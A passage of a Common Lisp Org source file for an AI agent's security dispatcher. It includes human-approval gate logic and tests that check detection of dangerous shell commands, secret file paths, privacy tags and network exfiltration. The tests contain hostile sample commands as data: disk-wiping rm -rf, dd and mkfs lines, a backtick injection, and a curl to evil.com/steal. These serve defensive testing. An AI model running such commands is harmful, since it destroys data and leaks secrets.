(when (and token (hitl-deny token))
|
|
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
nil))
|
|
#+end_src
|
|
|
|
** Gate Logic (dispatcher-gate)
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun dispatcher-gate (action context)
|
|
"Main deterministic gate for the Security Dispatcher skill."
|
|
(let* ((payload (getf context :payload))
|
|
(sensor (getf payload :sensor)))
|
|
(case sensor
|
|
(:approval-required
|
|
(dispatcher-flight-plan-create (getf payload :action)))
|
|
(:heartbeat
|
|
(dispatcher-approvals-process)
|
|
(if action (dispatcher-check action context) action))
|
|
(otherwise
|
|
(if action (dispatcher-check action context) action)))))
|
|
#+end_src
|
|
|
|
** Skill Registration
|
|
#+begin_src lisp
|
|
(defskill :passepartout-security-dispatcher
|
|
:priority 150
|
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
|
:deterministic #'dispatcher-gate)
|
|
#+end_src
|
|
|
|
* Test Suite
|
|
|
|
#+begin_src lisp
|
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
|
(ql:quickload :fiveam :silent t))
|
|
|
|
(defpackage :passepartout-security-dispatcher-tests
|
|
(:use :cl :fiveam :passepartout)
|
|
(:export #:dispatcher-suite))
|
|
|
|
(in-package :passepartout-security-dispatcher-tests)
|
|
|
|
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
|
(in-suite dispatcher-suite)
|
|
|
|
(test test-wildcard-match
|
|
"Contract 1: wildcard pattern * matches any characters."
|
|
(is (wildcard-match "*.env" ".env"))
|
|
(is (wildcard-match "*.env" "prod.env"))
|
|
(is (wildcard-match "*credential*" "my-credential-file"))
|
|
(is (wildcard-match "*.key" "id_rsa.key"))
|
|
(is (not (wildcard-match "*.env" "config.yaml"))))
|
|
|
|
(test test-check-secret-path
|
|
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
|
(is (dispatcher-check-secret-path ".env"))
|
|
(is (dispatcher-check-secret-path "id_rsa"))
|
|
(is (not (dispatcher-check-secret-path "README.org"))))
|
|
|
|
(test test-self-build-core-protection
|
|
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
|
;; Core paths are recognized
|
|
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
|
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
|
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
|
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
|
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :approval-required (getf result :level)))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
|
;; With SELF_BUILD_MODE=false (default), writes pass through
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :REQUEST (getf result :type))))))
|
|
|
|
(test test-check-shell-safety
|
|
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
|
(is (dispatcher-check-shell-safety "rm -rf /"))
|
|
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
|
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
|
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
|
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
|
|
|
(test test-shell-safety-severity-catastrophic
|
|
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
|
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
|
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
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|
(is (eq :catastrophic (getf r1 :severity)))
|
|
(is (eq :catastrophic (getf r2 :severity)))))
|
|
|
|
(test test-shell-safety-severity-dangerous
|
|
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
|
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
|
(is (eq :dangerous (getf result :severity)))))
|
|
|
|
(test test-shell-safety-severity-safe
|
|
"Contract 3/v0.4.3: harmless commands return nil."
|
|
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
|
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
|
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
|
|
|
(test test-dispatcher-severity-max
|
|
"dispatcher-severity-max returns the higher tier."
|
|
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
|
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
|
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
|
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
|
|
|
(test test-check-privacy-tags
|
|
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
|
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
|
(is (dispatcher-check-privacy-tags '("@personal")))
|
|
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
|
|
|
(test test-check-network-exfil
|
|
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
|
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
|
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
|
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
|
|
|
;; ── v0.7.2 Tag Stack ──
|
|
|
|
(test test-tag-categories-load
|
|
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
|
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
|
(passepartout::tag-categories-load)
|
|
(let ((cats passepartout::*tag-categories*))
|
|
(is (>= (length cats) 1))
|
|
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
|
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
|
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
|
(setf (uiop:getenv "TAG_CATEGORIES") nil))
|
|
|
|
(test test-tag-category-severity-unknown
|
|
"Contract v0.7.2: unknown tag returns nil."
|
|
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
|
|
|
(test test-privacy-severity-block
|
|
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
|
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
|
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
|
|
|
(test test-privacy-severity-warn
|
|
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
|
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
|
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
|
|
|
(test test-privacy-severity-nil
|
|
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
|
(setf passepartout::*tag-categories* nil)
|
|
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
|
|
|
(test test-tag-trigger-record
|
|
"v0.7.2: tag-trigger-record increments per-tag count."
|
|
(clrhash passepartout::*tag-trigger-count*)
|
|
(passepartout::tag-trigger-record "@personal")
|
|
(passepartout::tag-trigger-record "@personal")
|
|
(passepartout::tag-trigger-record "@draft")
|
|
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
|
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
|
(clrhash passepartout::*tag-trigger-count*))
|
|
|
|
(test test-tag-categories-privacy-fallback
|
|
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
|
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
|
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
|
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
|
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
|
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
|
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
|
(sb-posix:unsetenv "TAG_CATEGORIES")
|
|
(passepartout::tag-categories-load)
|
|
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
|
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
|
;; Restore
|
|
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
|
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
|
(passepartout::tag-categories-load)))
|
|
|
|
(test test-safe-tool-read-only-auto-approve
|
|
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
|
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
|
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
|
:description "Read-only test"
|
|
:parameters nil
|
|
:guard nil
|
|
:body nil
|
|
:read-only-p t))
|
|
(unwind-protect
|
|
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
|
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
|
(result (dispatcher-check action nil)))
|
|
(is (eq :REQUEST (getf result :type)))
|
|
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
|
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
|
|
|
(test test-safe-tool-write-still-checked
|
|
"Contract v0.7.2: write tools still go through full dispatcher check."
|
|
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
|
(passepartout::make-cognitive-tool :name "write-file"
|
|
:description "File writer"
|
|
:parameters nil
|
|
:guard nil
|
|
:body nil
|
|
:read-only-p nil))
|
|
(unwind-protect
|
|
(progn
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
|
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
|
(result (dispatcher-check action nil)))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
|
(is (eq :approval-required (getf result :level)))
|
|
(is (search "HITL" (getf (getf result :payload) :message)))))
|
|
(remhash "write-file" passepartout::*cognitive-tool-registry*)))
|
|
#+end_src |